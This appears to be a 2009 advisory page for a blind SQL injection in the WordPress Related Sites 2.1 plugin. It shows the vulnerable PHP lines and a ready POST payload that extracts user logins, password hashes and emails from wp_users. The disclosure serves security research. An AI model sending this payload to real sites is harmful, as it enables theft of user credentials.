WordPress Plugin Related Sites 2.1 Blind SQL Injection Vulnerability

2009.07.11

Credit: eLwaux

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2009-2383

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

WordPress Plugin Related Sites 2.1 BlindSQLinj Vuln



http://wordpress.org/extend/plugins/related-sites/
/wp-content/plugins/related-sites/BTE_RW_webajax.php

eLwaux(c) 30.05.2009, uasc.org.ua


SQL-Inj

27:  $guid = $_POST['guid'];
28:  $click = $_POST['click'];
31:  $ref = $_SERVER["HTTP_REFERER"];
40:  if ($guid!="" && $click!="" && $hostname!="" && $ipaddr!="" && $ref!="") {
53:   $sql = "INSERT INTO $clicks_table_name (guid,click) VALUES ('$guid','$clickinfo')";
55:  }

exploit:
POST: guid = 0', (select concat_ws(0x3a,user_login,user_pass,user_nicename,user_email) from wp_users where ID>0 and user_status=0 limit 1 ) );-- 
POST: click = .
HTTP_REFERER = .

References:

http://xforce.iss.net/xforce/xfdb/51446

http://www.securityfocus.com/bid/35538

See this note in RAW Version

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WordPress Plugin Related Sites 2.1 Blind SQL Injection Vulnerability

References:

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